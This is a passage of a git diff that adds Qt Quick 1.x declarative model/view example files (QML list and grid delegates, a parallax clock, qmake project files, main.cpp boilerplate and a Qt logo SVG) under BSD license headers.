+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+ListView {
+ width: 100; height: 100
+ anchors.fill: parent
+
+ model: myModel
+ delegate: Rectangle {
+ height: 25
+ width: 100
+ color: model.modelData.color
+ Text { text: name }
+ }
+}
+//![0]
diff --git a/examples/declarative/modelviews/package/main.cpp b/examples/declarative/modelviews/package/main.cpp
new file mode 100644
index 00000000..2131955f
--- /dev/null
+++ b/examples/declarative/modelviews/package/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/Delegate/view.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/package/package.pro b/examples/declarative/modelviews/package/package.pro
new file mode 100644
index 00000000..fccebb28
--- /dev/null
+++ b/examples/declarative/modelviews/package/package.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/package
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE4E8295C
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/package
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/package/package.qmlproject b/examples/declarative/modelviews/package/package.qmlproject
new file mode 100644
index 00000000..abe951a5
--- /dev/null
+++ b/examples/declarative/modelviews/package/package.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml\Delegate"
+ }
+ JavaScriptFiles {
+ directory: "qml\Delegate"
+ }
+ ImageFiles {
+ directory: "qml\Delegate"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/package/qml/package/Delegate.qml b/examples/declarative/modelviews/package/qml/package/Delegate.qml
new file mode 100644
index 00000000..b9b07a38
--- /dev/null
+++ b/examples/declarative/modelviews/package/qml/package/Delegate.qml
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Package {
+ Text { id: listDelegate; width: 200; height: 25; text: 'Empty'; Package.name: 'list' }
+ Text { id: gridDelegate; width: 100; height: 50; text: 'Empty'; Package.name: 'grid' }
+
+ Rectangle {
+ id: wrapper
+ width: 200; height: 25
+ color: 'lightsteelblue'
+
+ Text { text: display; anchors.centerIn: parent }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (wrapper.state == 'inList')
+ wrapper.state = 'inGrid';
+ else
+ wrapper.state = 'inList';
+ }
+ }
+
+ state: 'inList'
+ states: [
+ State {
+ name: 'inList'
+ ParentChange { target: wrapper; parent: listDelegate }
+ },
+ State {
+ name: 'inGrid'
+ ParentChange {
+ target: wrapper; parent: gridDelegate
+ x: 0; y: 0; width: gridDelegate.width; height: gridDelegate.height
+ }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ ParentAnimation {
+ NumberAnimation { properties: 'x,y,width,height'; duration: 300 }
+ }
+ }
+ ]
+ }
+}
+//![0]
diff --git a/examples/declarative/modelviews/package/qml/package/view.qml b/examples/declarative/modelviews/package/qml/package/view.qml
new file mode 100644
index 00000000..2686313a
--- /dev/null
+++ b/examples/declarative/modelviews/package/qml/package/view.qml
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 400
+ height: 200
+
+ ListModel {
+ id: myModel
+ ListElement { display: "One" }
+ ListElement { display: "Two" }
+ ListElement { display: "Three" }
+ ListElement { display: "Four" }
+ ListElement { display: "Five" }
+ ListElement { display: "Six" }
+ ListElement { display: "Seven" }
+ ListElement { display: "Eight" }
+ }
+ //![0]
+ VisualDataModel {
+ id: visualModel
+ delegate: Delegate {}
+ model: myModel
+ }
+
+ ListView {
+ width: 200; height:200
+ model: visualModel.parts.list
+ }
+ GridView {
+ x: 200; width: 200; height:200
+ cellHeight: 50
+ model: visualModel.parts.grid
+ }
+ //![0]
+}
diff --git a/examples/declarative/modelviews/parallax/main.cpp b/examples/declarative/modelviews/parallax/main.cpp
new file mode 100644
index 00000000..5f95c60d
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/parallax/parallax.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/parallax/parallax.pro b/examples/declarative/modelviews/parallax/parallax.pro
new file mode 100644
index 00000000..fed6ed19
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/parallax.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/parallax
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE1CB8EBB
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/parallax
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/parallax/parallax.qmlproject b/examples/declarative/modelviews/parallax/parallax.qmlproject
new file mode 100644
index 00000000..cc2a4a6f
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/parallax.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/parallax"
+ }
+ JavaScriptFiles {
+ directory: "qml/parallax"
+ }
+ ImageFiles {
+ directory: "qml/parallax"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/parallax/parallax.svg b/examples/declarative/modelviews/parallax/parallax.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/parallax.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/parallax/parallax64.png b/examples/declarative/modelviews/parallax/parallax64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/parallax64.png
Binary files differ
diff --git a/examples/declarative/modelviews/parallax/parallax80.png b/examples/declarative/modelviews/parallax/parallax80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/parallax80.png
Binary files differ
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/Clock.qml b/examples/declarative/modelviews/parallax/qml/parallax/Clock.qml
new file mode 100644
index 00000000..7a958c6c
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/Clock.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Text {
+ Timer {
+ triggeredOnStart: true
+ onTriggered: parent.text = Qt.formatTime(new Date())
+ interval: 1000; running: visible; repeat: true;
+ }
+
+ font.pixelSize: 32
+ font.family: "sans-serif"
+ font.bold: true
+ color: "white"
+}
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/ParallaxView.qml b/examples/declarative/modelviews/parallax/qml/parallax/ParallaxView.qml
new file mode 100644
index 00000000..faa834e5
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/ParallaxView.qml
@@ -0,0 +1,123 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
